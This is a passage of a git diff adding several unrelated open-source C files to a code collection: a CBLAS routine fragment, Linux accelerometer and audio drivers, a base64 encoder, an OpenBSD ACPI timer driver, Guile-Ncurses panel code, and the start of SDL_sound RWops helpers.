"Illegal Trans setting, %d\n", Trans); + CBLAS_CallFromC = 0; + RowMajorStrg = 0; + return; + } + + #ifdef F77_CHAR + F77_UL = C2F_CHAR(&UL); + F77_TR = C2F_CHAR(&TR); + #endif + + F77_cherk(F77_UL, F77_TR, &F77_N, &F77_K, &alpha, A, &F77_lda, + &beta, C, &F77_ldc); + } else if (Order == CblasRowMajor) + { + RowMajorStrg = 1; + if( Uplo == CblasUpper) UL='L'; + else if ( Uplo == CblasLower ) UL='U'; + else + { + cblas_xerbla(3, "cblas_cherk", "Illegal Uplo setting, %d\n", Uplo); + CBLAS_CallFromC = 0; + RowMajorStrg = 0; + return; + } + if( Trans == CblasTrans) TR ='N'; + else if ( Trans == CblasConjTrans ) TR='N'; + else if ( Trans == CblasNoTrans ) TR='C'; + else + { + cblas_xerbla(3, "cblas_cherk", "Illegal Trans setting, %d\n", Trans); + CBLAS_CallFromC = 0; + RowMajorStrg = 0; + return; + } + + #ifdef F77_CHAR + F77_UL = C2F_CHAR(&UL); + F77_SD = C2F_CHAR(&SD); + #endif + + F77_cherk(F77_UL, F77_TR, &F77_N, &F77_K, &alpha, A, &F77_lda, + &beta, C, &F77_ldc); + } + else cblas_xerbla(1, "cblas_cherk", "Illegal Order setting, %d\n", Order); + CBLAS_CallFromC = 0; + RowMajorStrg = 0; + return; +} +#endif diff --git a/pool/shard011/C/0142181_mma7660.c b/pool/shard011/C/0142181_mma7660.c new file mode 100644 index 0000000000000000000000000000000000000000..b9d3c1d0de546e390d128892b58b23833d3e8137 --- /dev/null +++ b/pool/shard011/C/0142181_mma7660.c @@ -0,0 +1,307 @@ +/* drivers/input/sensors/access/mma7660.c + * + * Copyright (C) 2012-2015 ROCKCHIP. + * Author: luowei + * + * This software is licensed under the terms of the GNU General Public + * License version 2, as published by the Free Software Foundation, and + * may be copied, distributed, and modified under those terms. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef CONFIG_HAS_EARLYSUSPEND +#include +#endif +#include + + +#define MMA7660_ENABLE 1 + +#define MMA7660_REG_X_OUT 0x0 +#define MMA7660_REG_Y_OUT 0x1 +#define MMA7660_REG_Z_OUT 0x2 +#define MMA7660_REG_TILT 0x3 +#define MMA7660_REG_SRST 0x4 +#define MMA7660_REG_SPCNT 0x5 +#define MMA7660_REG_INTSU 0x6 +#define MMA7660_REG_MODE 0x7 +#define MMA7660_REG_SR 0x8 +#define MMA7660_REG_PDET 0x9 +#define MMA7660_REG_PD 0xa + + +#define MMA7660_RANGE 1500000 + +/* LIS3DH */ +#define MMA7660_PRECISION 6 +#define MMA7660_BOUNDARY (0x1 << (MMA7660_PRECISION - 1)) +#define MMA7660_GRAVITY_STEP (MMA7660_RANGE / MMA7660_BOUNDARY) + +#define MMA7660_COUNT_AVERAGE 2 + +struct sensor_axis_average { + int x_average; + int y_average; + int z_average; + int count; +}; + +static struct sensor_axis_average axis_average; + +/****************operate according to sensor chip:start************/ + +static int sensor_active(struct i2c_client *client, int enable, int rate) +{ + struct sensor_private_data *sensor = + (struct sensor_private_data *) i2c_get_clientdata(client); + int result = 0; + int status = 0; + + sensor->ops->ctrl_data = sensor_read_reg(client, sensor->ops->ctrl_reg); + + //register setting according to chip datasheet + if(enable) + { + status = MMA7660_ENABLE; //mma7660 + sensor->ops->ctrl_data |= status; + } + else + { + status = ~MMA7660_ENABLE; //mma7660 + sensor->ops->ctrl_data &= status; + } + + DBG("%s:reg=0x%x,reg_ctrl=0x%x,enable=%d\n",__func__,sensor->ops->ctrl_reg, sensor->ops->ctrl_data, enable); + result = sensor_write_reg(client, sensor->ops->ctrl_reg, sensor->ops->ctrl_data); + if(result) + printk("%s:fail to active sensor\n",__func__); + + return result; + +} + +static int sensor_init(struct i2c_client *client) +{ + struct sensor_private_data *sensor = + (struct sensor_private_data *) i2c_get_clientdata(client); + int result = 0; + + result = sensor->ops->active(client,0,0); + if(result) + { + printk("%s:line=%d,error\n",__func__,__LINE__); + return result; + } + + sensor->status_cur = SENSOR_OFF; + + DBG("%s:MMA7660_REG_TILT=0x%x\n",__func__,sensor_read_reg(client, MMA7660_REG_TILT)); + + result = sensor_write_reg(client, MMA7660_REG_SR, (0x01<<5)| 0x02); //32 Samples/Second Active and Auto-Sleep Mode + if(result) + { + printk("%s:line=%d,error\n",__func__,__LINE__); + return result; + } + + if(sensor->pdata->irq_enable) //open interrupt + { + result = sensor_write_reg(client, MMA7660_REG_INTSU, 1<<4);//enable int,GINT=1 + if(result) + { + printk("%s:line=%d,error\n",__func__,__LINE__); + return result; + } + } + + sensor->ops->ctrl_data = 1<<6; //Interrupt output INT is push-pull + result = sensor_write_reg(client, sensor->ops->ctrl_reg, sensor->ops->ctrl_data); + if(result) + { + printk("%s:line=%d,error\n",__func__,__LINE__); + return result; + } + + + memset(&axis_average, 0, sizeof(struct sensor_axis_average)); + + return result; +} + + +static int sensor_convert_data(struct i2c_client *client, char high_byte, char low_byte) +{ + s64 result; + //struct sensor_private_data *sensor = + // (struct sensor_private_data *) i2c_get_clientdata(client); + //int precision = sensor->ops->precision; + + result = (int)low_byte; + if (result < MMA7660_BOUNDARY) + result = result* MMA7660_GRAVITY_STEP; + else + result = ~( ((~result & (0x7fff>>(16-MMA7660_PRECISION)) ) + 1) + * MMA7660_GRAVITY_STEP) + 1; + + return (int)result; +} + +static int gsensor_report_value(struct i2c_client *client, struct sensor_axis *axis) +{ + struct sensor_private_data *sensor = + (struct sensor_private_data *) i2c_get_clientdata(client); + + /* Report acceleration sensor information */ + input_report_abs(sensor->input_dev, ABS_X, axis->x); + input_report_abs(sensor->input_dev, ABS_Y, axis->y); + input_report_abs(sensor->input_dev, ABS_Z, axis->z); + input_sync(sensor->input_dev); + DBG("Gsensor x==%d y==%d z==%d\n",axis->x,axis->y,axis->z); + + return 0; +} + +#define GSENSOR_MIN 2 +static int sensor_report_value(struct i2c_client *client) +{ + struct sensor_private_data *sensor = + (struct sensor_private_data *) i2c_get_clientdata(client); + struct sensor_platform_data *pdata = sensor->pdata; + int ret = 0; + int x,y,z; + struct sensor_axis axis; + char buffer[3] = {0}; + char value = 0; + + if(sensor->ops->read_len < 3) //sensor->ops->read_len = 3 + { + printk("%s:lenth is error,len=%d\n",__func__,sensor->ops->read_len); + return -1; + } + + memset(buffer, 0, 3); + + /* Data bytes from hardware xL, xH, yL, yH, zL, zH */ + do { + *buffer = sensor->ops->read_reg; + ret = sensor_rx_data(client, buffer, sensor->ops->read_len); + if (ret < 0) + return ret; + } while (0); + + + //this gsensor need 6 bytes buffer + x = sensor_convert_data(sensor->client, 0, buffer[0]); //buffer[1]:high bit + y = sensor_convert_data(sensor->client, 0, buffer[1]); + z = sensor_convert_data(sensor->client, 0, buffer[2]); + + axis.x = (pdata->orientation[0])*x + (pdata->orientation[1])*y + (pdata->orientation[2])*z; + axis.y = (pdata->orientation[3])*x + (pdata->orientation[4])*y + (pdata->orientation[5])*z; + axis.z = (pdata->orientation[6])*x + (pdata->orientation[7])*y + (pdata->orientation[8])*z; + + + axis_average.x_average += axis.x; + axis_average.y_average += axis.y; + axis_average.z_average += axis.z; + axis_average.count++; + + if(axis_average.count >= MMA7660_COUNT_AVERAGE) + { + axis.x = axis_average.x_average / axis_average.count; + axis.y = axis_average.y_average / axis_average.count; + axis.z = axis_average.z_average / axis_average.count; + + DBG( "%s: axis = %d %d %d \n", __func__, axis.x, axis.y, axis.z); + + memset(&axis_average, 0, sizeof(struct sensor_axis_average)); + + //Report event only while value is changed to save some power + if((abs(sensor->axis.x - axis.x) > GSENSOR_MIN) || (abs(sensor->axis.y - axis.y) > GSENSOR_MIN) || (abs(sensor->axis.z - axis.z) > GSENSOR_MIN)) + { + gsensor_report_value(client, &axis); + + /* »¥³âµØ»º´æÊý¾Ý. */ + mutex_lock(&(sensor->data_mutex) ); + sensor->axis = axis; + mutex_unlock(&(sensor->data_mutex) ); + } + } + + if((sensor->pdata->irq_enable)&& (sensor->ops->int_status_reg >= 0)) //read sensor intterupt status register + { + + value = sensor_read_reg(client, sensor->ops->int_status_reg); + DBG("%s:sensor int status :0x%x\n",__func__,value); + } + + return ret; +} + + +struct sensor_operate gsensor_mma7660_ops = { + .name = "mma7660", + .type = SENSOR_TYPE_ACCEL, //sensor type and it should be correct + .id_i2c = ACCEL_ID_MMA7660, //i2c id number + .read_reg = MMA7660_REG_X_OUT, //read data + .read_len = 3, //data length + .id_reg = SENSOR_UNKNOW_DATA, //read device id from this register + .id_data = SENSOR_UNKNOW_DATA, //device id + .precision = MMA7660_PRECISION, //12 bit + .ctrl_reg = MMA7660_REG_MODE, //enable or disable + .int_status_reg = SENSOR_UNKNOW_DATA, //intterupt status register + .range = {-MMA7660_RANGE,MMA7660_RANGE}, //range + .trig = IRQF_TRIGGER_LOW|IRQF_ONESHOT, + .active = sensor_active, + .init = sensor_init, + .report = sensor_report_value, +}; + +/****************operate according to sensor chip:end************/ + +//function name should not be changed +static struct sensor_operate *gsensor_get_ops(void) +{ + return &gsensor_mma7660_ops; +} + + +static int __init gsensor_mma7660_init(void) +{ + struct sensor_operate *ops = gsensor_get_ops(); + int result = 0; + int type = ops->type; + result = sensor_register_slave(type, NULL, NULL, gsensor_get_ops); + return result; +} + +static void __exit gsensor_mma7660_exit(void) +{ + struct sensor_operate *ops = gsensor_get_ops(); + int type = ops->type; + sensor_unregister_slave(type, NULL, NULL, gsensor_get_ops); +} + + +module_init(gsensor_mma7660_init); +module_exit(gsensor_mma7660_exit); + + + diff --git a/pool/shard011/C/0142182_base64.c b/pool/shard011/C/0142182_base64.c new file mode 100644 index 0000000000000000000000000000000000000000..19820b10071e4f854b2fee825d144b9c081dedfc --- /dev/null +++ b/pool/shard011/C/0142182_base64.c @@ -0,0 +1,160 @@ +/* $Id$ */ +/* + * Copyright (c) 2015 Kristaps Dzonsons + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include "extern.h" + +static const char b64[] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz" + "0123456789+/"; + +size_t +base64len(size_t len) +{ + + return((len + 2) / 3 * 4) + 1; +} + +size_t +base64buf(char *enc, const char *str, size_t len) +{ + size_t i, val; + char *p; + + p = enc; + + for (i = 0; i < len - 2; i += 3) { + val = (str[i] >> 2) & 0x3F; + assert(val < sizeof(b64)); + *p++ = b64[val]; + + val = ((str[i] & 0x3) << 4) | + ((int)(str[i + 1] & 0xF0) >> 4); + assert(val < sizeof(b64)); + *p++ = b64[val]; + + val = ((str[i + 1] & 0xF) << 2) | + ((int)(str[i + 2] & 0xC0) >> 6); + assert(val < sizeof(b64)); + *p++ = b64[val]; + + val = str[i + 2] & 0x3F; + assert(val < sizeof(b64)); + *p++ = b64[val]; + } + + if (i < len) { + val = (str[i] >> 2) & 0x3F; + assert(val < sizeof(b64)); + *p++ = b64[val]; + + if (i == (len - 1)) { + val = ((str[i] & 0x3) << 4); + assert(val < sizeof(b64)); + *p++ = b64[val]; + *p++ = '='; + } else { + val = ((str[i] & 0x3) << 4) | + ((int)(str[i + 1] & 0xF0) >> 4); + assert(val < sizeof(b64)); + *p++ = b64[val]; + + val = ((str[i + 1] & 0xF) << 2); + assert(val < sizeof(b64)); + *p++ = b64[val]; + } + *p++ = '='; + } + + *p++ = '\0'; + return(p - enc); +} + +static void +encodeblock(unsigned char *in, unsigned char *out, int len) +{ + int val; + + val = (int)(in[0] >> 2); + assert(val >= 0 && (size_t)val < sizeof(b64)); + out[0] = b64[val]; + + val = (int)(((in[0] & 0x03) << 4) | + ((in[1] & 0xf0) >> 4)); + assert(val >= 0 && (size_t)val < sizeof(b64)); + out[1] = b64[val]; + + if (len > 1) { + val = (int)(((in[1] & 0x0f) << 2) | + ((in[2] & 0xc0) >> 6)); + assert(val >= 0 && (size_t)val < sizeof(b64)); + out[2] = b64[val]; + } else + out[2] = '='; + + if (len > 2) { + val = (int)(in[2] & 0x3f); + assert(val >= 0 && (size_t)val < sizeof(b64)); + out[3] = b64[val]; + } else + out[3] = '='; +} + +void +base64file(FILE *infile, size_t lsz, + enum kcgi_err (*fp)(const char *, size_t, void *), void *arg) +{ + unsigned char in[3]; + unsigned char out[4]; + size_t i, len, bout; + + bout = 0; + *in = *out = '\0'; + + while (0 == feof(infile)) { + len = 0; + for (i = 0; i < 3; i++) { + in[i] = (unsigned char)getc(infile); + if(0 == feof(infile)) + len++; + else + in[i] = '\0'; + } + + if(len > 0) { + encodeblock(in, out, len); + for (i = 0; i < 4; i++) + fp((char *)&out[i], 1, arg); + bout++; + } + if (bout >= (lsz / 4) || feof(infile)) { + if (bout > 0) + fp("\r\n", 2, arg); + bout = 0; + } + } +} diff --git a/pool/shard011/C/0142183_acpitimer.c b/pool/shard011/C/0142183_acpitimer.c new file mode 100644 index 0000000000000000000000000000000000000000..fb78acf25645c2e11cd01ad98a7a8fd8d6247f49 --- /dev/null +++ b/pool/shard011/C/0142183_acpitimer.c @@ -0,0 +1,117 @@ +/* $OpenBSD: acpitimer.c,v 1.11 2015/03/14 03:38:46 jsg Exp $ */ +/* + * Copyright (c) 2005 Thorsten Lockert + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#include +#include +#include +#include + +#include + +#include +#include + +int acpitimermatch(struct device *, void *, void *); +void acpitimerattach(struct device *, struct device *, void *); + +u_int acpi_get_timecount(struct timecounter *tc); + +static struct timecounter acpi_timecounter = { + acpi_get_timecount, /* get_timecount */ + 0, /* no poll_pps */ + 0x00ffffff, /* counter_mask (24 bits) */ + ACPI_FREQUENCY, /* frequency */ + 0, /* name */ + 1000 /* quality */ +}; + +struct acpitimer_softc { + struct device sc_dev; + + bus_space_tag_t sc_iot; + bus_space_handle_t sc_ioh; +}; + +struct cfattach acpitimer_ca = { + sizeof(struct acpitimer_softc), acpitimermatch, acpitimerattach +}; + +struct cfdriver acpitimer_cd = { + NULL, "acpitimer", DV_DULL +}; + +int +acpitimermatch(struct device *parent, void *match, void *aux) +{ + struct acpi_attach_args *aa = aux; + struct cfdata *cf = match; + + /* sanity */ + if (aa->aaa_name == NULL || + strcmp(aa->aaa_name, cf->cf_driver->cd_name) != 0 || + aa->aaa_table != NULL) + return (0); + + return (1); +} + +void +acpitimerattach(struct device *parent, struct device *self, void *aux) +{ + struct acpitimer_softc *sc = (struct acpitimer_softc *) self; + struct acpi_softc *psc = (struct acpi_softc *) parent; + int rc; + + if (psc->sc_fadt->hdr_revision >= 3 && + psc->sc_fadt->x_pm_tmr_blk.address != 0) + rc = acpi_map_address(psc, &psc->sc_fadt->x_pm_tmr_blk, 0, + psc->sc_fadt->pm_tmr_len, &sc->sc_ioh, &sc->sc_iot); + else + rc = acpi_map_address(psc, NULL, psc->sc_fadt->pm_tmr_blk, + psc->sc_fadt->pm_tmr_len, &sc->sc_ioh, &sc->sc_iot); + if (rc) { + printf(": can't map i/o space\n"); + return; + } + + printf(": %d Hz, %d bits\n", ACPI_FREQUENCY, + psc->sc_fadt->flags & FADT_TMR_VAL_EXT ? 32 : 24); + + if (psc->sc_fadt->flags & FADT_TMR_VAL_EXT) + acpi_timecounter.tc_counter_mask = 0xffffffffU; + acpi_timecounter.tc_priv = sc; + acpi_timecounter.tc_name = sc->sc_dev.dv_xname; + tc_init(&acpi_timecounter); +} + + +u_int +acpi_get_timecount(struct timecounter *tc) +{ + struct acpitimer_softc *sc = tc->tc_priv; + u_int u1, u2, u3; + + u2 = bus_space_read_4(sc->sc_iot, sc->sc_ioh, 0); + u3 = bus_space_read_4(sc->sc_iot, sc->sc_ioh, 0); + do { + u1 = u2; + u2 = u3; + u3 = bus_space_read_4(sc->sc_iot, sc->sc_ioh, 0); + } while (u1 > u2 || u2 > u3); + + return (u2); +} diff --git a/pool/shard011/C/0142184_panel_spec.c b/pool/shard011/C/0142184_panel_spec.c new file mode 100644 index 0000000000000000000000000000000000000000..93b4df50ff860e34287b6579bd29f0da6878da32 --- /dev/null +++ b/pool/shard011/C/0142184_panel_spec.c @@ -0,0 +1,130 @@ +/* + panel_spec.c + + Copyright 2009, 2010, 2014 Free Software Foundation, Inc. + + This file is part of GNU Guile-Ncurses. + + Guile-Ncurses is free software: you can redistribute it and/or modify + it under the terms of the GNU Lesser General Public License as + published by the Free Software Foundation, either version 3 of the + License, or (at your option) any later version. + + Guile-Ncurses is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with Guile-Ncurses. If not, see + . +*/ +#include + +#include + +#if HAVE_CURSES_H +#include +#include +#elif HAVE_NCURSES_CURSES_H +#include +#include +#elif HAVE_NCURSESW_CURSES_H +#include +#include +#else +#error "No panel.h file included" +#endif + +#include "panel_spec.h" +#include "panel_type.h" +#include "type.h" + +/* This won't work because of the guardians */ +#if 0 +// Get the panel above PAN +SCM +gucu_panel_above (SCM pan) +{ + if (_scm_is_panel (pan)) + { + PANEL *c_pan = _scm_to_panel (pan); + PANEL *c_pan2 = panel_above (c_pan); + return _scm_from_panel (c_pan2); + } + else if (pan == SCM_BOOL_F) + { + PANEL *c_pan2 = panel_above (0); + return _scm_from_panel (c_pan2); + } + else + scm_wrong_type_arg ("panel-above", SCM_ARG1, pan); + + /* Never reached */ + return SCM_BOOL_F; +} + +// Get the panel below PAN +SCM +gucu_panel_below (SCM pan) +{ + if (_scm_is_panel (pan)) + { + PANEL *c_pan = _scm_to_panel (pan); + PANEL *c_pan2 = panel_below (c_pan); + return _scm_from_panel (c_pan2); + } + else if (pan == SCM_BOOL_F) + { + PANEL *c_pan2 = panel_below (0); + return _scm_from_panel (c_pan2); + } + else + scm_wrong_type_arg ("panel-below", SCM_ARG1, pan); + + /* Never reached */ + return SCM_BOOL_F; +} +#endif + +/* FIXME: this needs to be worked in with the smob garbage collector */ +#if 0 +SCM +gucu_set_panel_userdata (SCM pan, SCM data) +{ + if (_scm_is_panel (pan)) + { + set_panel_userptr (_scm_to_panel (pan), (void *) data); + } + else + scm_wrong_type_arg ("set-panel-userdata", SCM_ARG1, pan); + + return SCM_UNDEFINED; +} + +SCM +gucu_panel_userdata (SCM pan) +{ + if (_scm_is_panel (pan)) + { + PANEL *c_panel = _scm_to_panel (pan); + return (SCM) (panel_userptr (c_panel)); + } + else + scm_wrong_type_arg ("set-panel-userdata", SCM_ARG1, pan); + + /* Never reached */ + return SCM_UNDEFINED; +} +#endif + +void +gucu_panel_init_special (void) +{ +#if 0 + scm_c_define_gsubr ("panel-above", 1, 0, 0, gucu_panel_above); + scm_c_define_gsubr ("panel-below", 1, 0, 0, gucu_panel_below); + scm_c_define_gsubr ("set-panel-userdata", 2, 0, 0, gucu_set_panel_userdata); + scm_c_define_gsubr ("panel-userdata", 1, 0, 0, gucu_panel_userdata); +#endif +} diff --git a/pool/shard011/C/0142185_byt-rt5640.c b/pool/shard011/C/0142185_byt-rt5640.c new file mode 100644 index 0000000000000000000000000000000000000000..354eaad886e1c09619b0d1e2f1269b9ef715aa3a --- /dev/null +++ b/pool/shard011/C/0142185_byt-rt5640.c @@ -0,0 +1,229 @@ +/* + * Intel Baytrail SST RT5640 machine driver + * Copyright (c) 2014, Intel Corporation. + * + * This program is free software; you can redistribute it and/or modify it + * under the terms and conditions of the GNU General Public License, + * version 2, as published by the Free Software Foundation. + * + * This program is distributed in the hope it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "../codecs/rt5640.h" + +#include "sst-dsp.h" + +static const struct snd_soc_dapm_widget byt_rt5640_widgets[] = { + SND_SOC_DAPM_HP("Headphone", NULL), + SND_SOC_DAPM_MIC("Headset Mic", NULL), + SND_SOC_DAPM_MIC("Internal Mic", NULL), + SND_SOC_DAPM_SPK("Speaker", NULL), +}; + +static const struct snd_soc_dapm_route byt_rt5640_audio_map[] = { + {"Headset Mic", NULL, "MICBIAS1"}, + {"IN2P", NULL, "Headset Mic"}, + {"Headphone", NULL, "HPOL"}, + {"Headphone", NULL, "HPOR"}, + {"Speaker", NULL, "SPOLP"}, + {"Speaker", NULL, "SPOLN"}, + {"Speaker", NULL, "SPORP"}, + {"Speaker", NULL, "SPORN"}, +}; + +static const struct snd_soc_dapm_route byt_rt5640_intmic_dmic1_map[] = { + {"DMIC1", NULL, "Internal Mic"}, +}; + +static const struct snd_soc_dapm_route byt_rt5640_intmic_dmic2_map[] = { + {"DMIC2", NULL, "Internal Mic"}, +}; + +static const struct snd_soc_dapm_route byt_rt5640_intmic_in1_map[] = { + {"Internal Mic", NULL, "MICBIAS1"}, + {"IN1P", NULL, "Internal Mic"}, +}; + +enum { + BYT_RT5640_DMIC1_MAP, + BYT_RT5640_DMIC2_MAP, + BYT_RT5640_IN1_MAP, +}; + +#define BYT_RT5640_MAP(quirk) ((quirk) & 0xff) +#define BYT_RT5640_DMIC_EN BIT(16) + +static unsigned long byt_rt5640_quirk = BYT_RT5640_DMIC1_MAP | + BYT_RT5640_DMIC_EN; + +static const struct snd_kcontrol_new byt_rt5640_controls[] = { + SOC_DAPM_PIN_SWITCH("Headphone"), + SOC_DAPM_PIN_SWITCH("Headset Mic"), + SOC_DAPM_PIN_SWITCH("Internal Mic"), + SOC_DAPM_PIN_SWITCH("Speaker"), +}; + +static int byt_rt5640_hw_params(struct snd_pcm_substream *substream, + struct snd_pcm_hw_params *params) +{ + struct snd_soc_pcm_runtime *rtd = substream->private_data; + struct snd_soc_dai *codec_dai = rtd->codec_dai; + int ret; + + ret = snd_soc_dai_set_sysclk(codec_dai, RT5640_SCLK_S_PLL1, + params_rate(params) * 256, + SND_SOC_CLOCK_IN); + if (ret < 0) { + dev_err(codec_dai->dev, "can't set codec clock %d\n", ret); + return ret; + } + ret = snd_soc_dai_set_pll(codec_dai, 0, RT5640_PLL1_S_BCLK1, + params_rate(params) * 64, + params_rate(params) * 256); + if (ret < 0) { + dev_err(codec_dai->dev, "can't set codec pll: %d\n", ret); + return ret; + } + return 0; +} + +static int byt_rt5640_quirk_cb(const struct dmi_system_id *id) +{ + byt_rt5640_quirk = (unsigned long)id->driver_data; + return 1; +} + +static const struct dmi_system_id byt_rt5640_quirk_table[] = { + { + .callback = byt_rt5640_quirk_cb, + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "ASUSTeK COMPUTER INC."), + DMI_MATCH(DMI_PRODUCT_NAME, "T100TA"), + }, + .driver_data = (unsigned long *)BYT_RT5640_IN1_MAP, + }, + { + .callback = byt_rt5640_quirk_cb, + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "DellInc."), + DMI_MATCH(DMI_PRODUCT_NAME, "Venue 8 Pro 5830"), + }, + .driver_data = (unsigned long *)(BYT_RT5640_DMIC2_MAP | + BYT_RT5640_DMIC_EN), + }, + {} +}; + +static int byt_rt5640_init(struct snd_soc_pcm_runtime *runtime) +{ + int ret; + struct snd_soc_codec *codec = runtime->codec; + struct snd_soc_card *card = runtime->card; + const struct snd_soc_dapm_route *custom_map; + int num_routes; + + card->dapm.idle_bias_off = true; + + ret = snd_soc_add_card_controls(card, byt_rt5640_controls, + ARRAY_SIZE(byt_rt5640_controls)); + if (ret) { + dev_err(card->dev, "unable to add card controls\n"); + return ret; + } + + dmi_check_system(byt_rt5640_quirk_table); + switch (BYT_RT5640_MAP(byt_rt5640_quirk)) { + case BYT_RT5640_IN1_MAP: + custom_map = byt_rt5640_intmic_in1_map; + num_routes = ARRAY_SIZE(byt_rt5640_intmic_in1_map); + break; + case BYT_RT5640_DMIC2_MAP: + custom_map = byt_rt5640_intmic_dmic2_map; + num_routes = ARRAY_SIZE(byt_rt5640_intmic_dmic2_map); + break; + default: + custom_map = byt_rt5640_intmic_dmic1_map; + num_routes = ARRAY_SIZE(byt_rt5640_intmic_dmic1_map); + } + + ret = snd_soc_dapm_add_routes(&card->dapm, custom_map, num_routes); + if (ret) + return ret; + + if (byt_rt5640_quirk & BYT_RT5640_DMIC_EN) { + ret = rt5640_dmic_enable(codec, 0, 0); + if (ret) + return ret; + } + + snd_soc_dapm_ignore_suspend(&card->dapm, "Headphone"); + snd_soc_dapm_ignore_suspend(&card->dapm, "Speaker"); + + return ret; +} + +static struct snd_soc_ops byt_rt5640_ops = { + .hw_params = byt_rt5640_hw_params, +}; + +static struct snd_soc_dai_link byt_rt5640_dais[] = { + { + .name = "Baytrail Audio", + .stream_name = "Audio", + .cpu_dai_name = "baytrail-pcm-audio", + .codec_dai_name = "rt5640-aif1", + .codec_name = "i2c-10EC5640:00", + .platform_name = "baytrail-pcm-audio", + .dai_fmt = SND_SOC_DAIFMT_I2S | SND_SOC_DAIFMT_NB_NF | + SND_SOC_DAIFMT_CBS_CFS, + .init = byt_rt5640_init, + .ops = &byt_rt5640_ops, + }, +}; + +static struct snd_soc_card byt_rt5640_card = { + .name = "byt-rt5640", + .dai_link = byt_rt5640_dais, + .num_links = ARRAY_SIZE(byt_rt5640_dais), + .dapm_widgets = byt_rt5640_widgets, + .num_dapm_widgets = ARRAY_SIZE(byt_rt5640_widgets), + .dapm_routes = byt_rt5640_audio_map, + .num_dapm_routes = ARRAY_SIZE(byt_rt5640_audio_map), + .fully_routed = true, +}; + +static int byt_rt5640_probe(struct platform_device *pdev) +{ + struct snd_soc_card *card = &byt_rt5640_card; + + card->dev = &pdev->dev; + return devm_snd_soc_register_card(&pdev->dev, card); +} + +static struct platform_driver byt_rt5640_audio = { + .probe = byt_rt5640_probe, + .driver = { + .name = "byt-rt5640", + .pm = &snd_soc_pm_ops, + }, +}; +module_platform_driver(byt_rt5640_audio) + +MODULE_DESCRIPTION("ASoC Intel(R) Baytrail Machine driver"); +MODULE_AUTHOR("Omair Md Abdullah, Jarkko Nikula"); +MODULE_LICENSE("GPL v2"); +MODULE_ALIAS("platform:byt-rt5640"); diff --git a/pool/shard011/C/0142186_extra_rwops.c b/pool/shard011/C/0142186_extra_rwops.c new file mode 100644 index 0000000000000000000000000000000000000000..c5dab3dd09a431cb34d14e9602755aff9cbeb80d --- /dev/null +++ b/pool/shard011/C/0142186_extra_rwops.c @@ -0,0 +1,217 @@ +/* + * SDL_sound -- An abstract sound format decoding API. + * Copyright (C) 2001 Ryan C. Gordon. + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + +/* + * Some extra RWops that are needed or are just handy to have. + * + * Please see the file LICENSE.txt in the source's root directory. + * + * This file written by Ryan C. Gordon. (icculus@icculus.org) + */ + +#include +#include +#include "SDL.h" + + + /* + * The Reference Counter RWops... + */ + + +typedef struct +{ + SDL_RWops *rw; /* The actual RWops we're refcounting... */ + int refcount; /* The refcount; starts at 1. If goes to 0, delete. */ +} RWRefCounterData; + + +/* Just pass through to the actual SDL_RWops's method... */ +static int refcounter_seek(SDL_RWops *rw, int offset, int whence) +{ + RWRefCounterData *data = (RWRefCounterData *) rw->hidden.unknown.data1; + return(data->rw->seek(data->rw, offset, whence)); +} /* refcounter_seek */ + + +/* Just pass through to the actual SDL_RWops's method... */ +static int refcounter_read(SDL_RWops *rw, void *ptr, int size, int maxnum) +{ + RWRefCounterData *data = (RWRefCounterData *) rw->hidden.unknown.data1; + return(data->rw->read(data->rw, ptr, size, maxnum)); +} /* refcounter_read */ + + +/* Just pass through to the actual SDL_RWops's method... */ +static int 